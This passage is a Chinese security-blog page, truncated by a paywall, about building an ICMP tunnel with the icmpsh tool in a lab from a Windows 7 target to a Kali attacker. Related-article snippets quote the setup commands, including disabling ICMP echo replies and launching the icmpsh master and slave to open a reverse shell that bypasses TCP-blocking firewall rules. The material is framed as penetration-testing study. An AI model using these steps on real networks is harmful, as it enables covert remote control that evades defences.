ICMP隧道技术 - icmpsh

原创 已于 2022-09-13 11:06:21 修改 · 1k 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#学习 #网络

于 2022-09-12 18:24:51 首次发布
该博客详细介绍了如何在Kali Linux和Windows 7之间创建一个仅允许ICMP通信的环境，禁止TCP连接。通过设置防火墙规则，确保两台机器无法通过TCP进行通信。然后，博主展示了如何使用icmpsh工具建立一个ICMP隧道，实现从Win7到Kali的远程shell连接。整个过程包括了环境配置、规则设定、软件安装及隧道建立的步骤。

环境

攻击机：kali 2021 

网卡：桥接模式

ip 地址：192.168.0.150

目标机：win7

网卡：桥接模式

ip 地址：192.168.0.108

环境准备

搭建一个环境：攻击机和目标机互相无法 TCP 连接，只能 ICMP ping 的环境。

win7

防火墙启用 ICMP 入站规则（公网）： 

创建屏蔽 TCP 所有端口的入站规则和出站规则，并启用：

入站规则 - 屏蔽TCP
入站规则 - 屏蔽TCP

出站规则 - 屏蔽TCP标题

开启远程桌面连接，等会用 kali 攻击机测试是否真的无法 TCP 连接 win7 目标机，而只能 ping 它：

最低0.47元/天 解锁文章
剑走偏锋之ICMP隧道
爱测未来团队博客
02-27 2544
写在前面信息安全里面攻击与防御一直都是像是光与影子得关系，防御得手段多种多样，攻击得方法也是花样百出。在一些高难度得渗透测试过程中往往会遇到比较完善得安全防护策略、安全防护硬件、安全防护软件，一个小小得恶意动作或者一段恶意代码得运行都可能会引起安全设备向管理员发起警告，如果渗透方已经到达内网寻找数据阶段被防守方发现了那不就是前功尽弃或者得不偿失呢，渗透方如果能够通过技术手段隐藏自己得攻击过程或者痕...
【渗透测试】ICMP隧道技术之icmpsh使用
一个偶尔更新，有点神经质的开发人员，专注于网络安全和人工智能应用领域。
09-28 2624
【渗透测试】ICMP隧道技术之icmpsh使用 一、使用场景 icmp隧道技术多用于服务器未开启任何端口时，但能够通过icmp协议通讯，即能够ping通对方 二、icmpsh icmpsh是一个简单的ICMP反弹shell工具，拥有用C，Perl和Python实现的POSIX兼容主控端和一个win32的受控端。相比其他类似的开源工具来说，icmpsh的优点是在目标机器上运行时不需要管理员权限。 这一工具干净、简单并且便携。受控端（客户端）使用C语言实现。只能运行在目标Windows机器上，而主控端（服务端）
【内网学习笔记】6、ICMP隧道工具使用
TeamsSix 的 优快云 空间
04-07 848
1、介绍 在内网中，如果攻击者使用 HTTP、DNS 等应用层隧道都失败了，那么或许可以试试网络层的 ICMP 隧道，ICMP 协议最常见的场景就是使用 ping 命令，而且一般防火墙都不会禁止 ping 数据包。 因此我们便可以将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中，从而绕过防火墙的限制。 2、建立 ICMP 隧道工具 用于建立 ICMP 隧道的工具常见有：ptunnel、icmpsh、icmptunnel 等 ptunnel ptunnel 全称 PingTunnel，Kali
icmpsh建立ICMP隧道
大方子
01-27 4851
Kali：192.168.61.145 Win7：192.168.61.128 Kali上先下载icmpsh git clone https://github.com/inquisb/icmpsh.git 安装python-impacket apt-get install python-impacket 关闭Kali系统自己的ping回复(实验完成后，记得设回0) 然后进入icmpsh文件夹内执行 # python icmpsh_m.py [攻击机IP][目标IP] python icmpsh_m
icmp隧道--icmpsh
ddr12231的博客
09-24 355
本地:ubantu 目标主机:windows 在ubantu上关闭自带的icmp回应 sysctl -w net.ipv4.icmp_echo_ighore_all=1 ubantu上启动 pip install impacket python icmpsh_m.py ubantuIP WindowsIP windows上 icmpsh.exe -t UbantuIP 详细命令 -t...
【渗透测试】ICMP隧道技术之icmpsh使用（含流量分析）
一个偶尔更新，有点神经质的开发人员，专注于网络安全和人工智能应用领域。
09-29 3282
目录一、环境二、工具三、操作1、CentOS72、Win103、反弹成功四、C2流量分析1、正常的icmp流量2、恶意的icmp流量3、C2数据总结 一、环境 Win10：10.95.16.112 CentOS7：10.95.16.103 二、工具 icmpsh python2 三、操作 win10关闭防火墙，病毒检测，不然icmpsh.exe会被自动删除 centOS7安装python2对应的库文件用于支持icmpsh工具 pip2 install impacket 1、CentOS7 sysctl
隐藏通信隧道技术之icmpsh反弹shell（网络层ICMP隧道）
bring_coco的博客
01-05 926
优势：不需要开放端口就能通信 常见ICMP的消息是ping命令，通过ping可以得到一些回复 如果HTTP,DNS正反向端口转发不行时候可以尝试ICMP隧道 建立基础：只要能ping通，可以将TCP/UDP数据封装到数据包中，然后利用ping的数据包来穿透防火墙。 实验环境： 1.虚拟机中进行 （kali作为外网机器，monowall1是分隔内外网的防火墙，win7，win2012是两台内网机器） 2.kali的ip:10.0.78.29 Monowall1的ip:1.1.1.1 Win7的ip:1.1.
【内网流量操控技术六】icmp隧道之icmpsh
redwand的博客
02-11 1921
今天是大年三十，先给大家拜个早年，虽然是年末最后一天，但对于有技术信仰的我们来说，其实每一天都是第0天，遂积跬步，记录一篇。前面我们学习了ssh隧道、dns隧道，这些隧道从tcp/ip七层协议来看，多是通过应用层或传输层协议穿透防火墙。那么当防火墙如果不开任何端口，我们应该如何穿透绕过防火墙出站规则呢，本节我们通过学习icmpsh来解决服务器未开端口时，如何通过icmp隧道穿透防火墙，其原理虽然简单，但动手一试发现有很多坑值得避免。
隐藏通信隧道之ICMPSH
帅醉了的博客
03-22 799
内网渗透_建立icmp隧道 -t host ：要向其发送ping请求的主机ip地址。此选项是必需的！ -r：发送一个包含字符串“Test1234”的测试icmp请求，然后退出。这是用来测试连接的。 -d milliseconds：请求之间的延迟（毫秒） -o milliseconds：毫秒响应超时（毫秒）。如果没有及时收到回复，奴隶将增加一个空白计数器。如果计数器达到某个限制，则从机将退出。如果收...
内网渗透系列：内网隧道之icmpsh
闵行小鱼塘
04-10 1769
本文研究ICMP隧道的一个工具，icmpsh
icmpsh.zip
05-17
内部网络中的大多数系统都位于防火墙和公司代理之后，以便控制入站和出站Internet流量。防火墙可以阻止反向并绑定TCP连接。但是大多数情况下允许ICMP流量。因此，可以将此协议用作隐蔽通道，以便获取shell并在目标主机上远程执行命令。
ICMP隧道---icmpsh工具玩法
一醉一休的博客
08-10 1028
常常常会通过ping命令访问远程计算机，尝试建立ICMP隧道，将TCP/UDP数据封装到ICMP的ping数据包中，从而穿过防火墙(通常防火墙不会屏蔽 ping数据包)，实现不受限制的网络访问
icmpsh使用
守拙的博客
07-11 1207
ICMP隧道：将TCP/UDP数据封装到ICMP的ping数据包中，从而穿过防火墙（防火墙通常不会过滤ping数据包），通常用于内网攻击中的绕过防火墙建立C2tongda。 常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。 下载地址：https://github.com/bdamele/icmpsh 使用前提： 目标主机为windows系统 本地机器安装python2环境，安装impacket类库 利用icmpsh
工具分析之icmpsh
Blood_Pupil的博客
05-22 1865
文件结构及功能介绍 run.sh Linux环境中用于调用icmp-m.py，并在调用之前开启icmp_echo_ignore_all在调用之后关闭icmp_echo_ignore_all。 icmpsh-m.py 用于接收客户端icmpsh.exe发过来的信息并向其发送命令 icmpsh-m.c imcpsh-m.py的C语言版 icmpsh.exe 运行于Windows系统的客户端 ，用...
内网穿透_ICMP_icmpsh
tubug的博客
03-28 1339
常见的ICMP隧道工具有：icmpsh、PingTunnel、icmptunnel、powershell icmp等。数据包（例如：ping操作）的传输过程中，当目标主机不可达，或者请求超时，都是ICMP在运作（生成相应的错误信息）这样，当其他设备向你的机器发送 ICMP 请求时，icmpsh 可以截获这些请求并作出响应，而不是系统本身去响应。使用 icmpsh 工具时，它会监听网络上的 ICMP 请求，并模拟系统的 ICMP 去响应。为了防止系统本身去响应icmp，所以要关闭本机的icmp响应。
icmpsh、PingTunnel--安装、使用
最新发布
hj06112的博客
08-15 1245
icmpsh、pingtunnel--网络层隧道技术工具的安装、使用
隐藏c2隧道---ICMP之icmpsh的使用
qq_61142406的博客
02-12 4085
隐藏c2隧道---ICMP之icmpsh的使用
利用icmpsh建立icmp隧道反弹shell
huayimy的博客
12-29 965
利用icmpsh建立icmp隧道反弹shell，安装pip2，安装impacket模块，raise ReadTimeoutError，Failed to build future
小工具icmpsh的基本操作
carmi的博客
03-10 480
小工具icmpsh的基本操作 基础介绍 原理：通过icmp这个协议进行反弹一个shell 前提条件：Kali(192.168.126.134)与Windows7(192.168.126.129)靶机需要在同一个网段(内网)当中，可以进行通信 操作流程 1、github上下载资源，复制进Kali，进行解压 GitHub - bdamele/icmpsh: Simple reverse ICMP s...
DNS与ICMP隧道技术文档资料大全
ICMP（Internet Control Message Protocol，互联网控制消息协议）隧道技术利用ICMP协议的数据包在受限网络间建立通信渠道。不同于DNS隧道，ICMP通常用于发送错误消息和操作信息，但通过特定的封装技术，它也可以用于...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值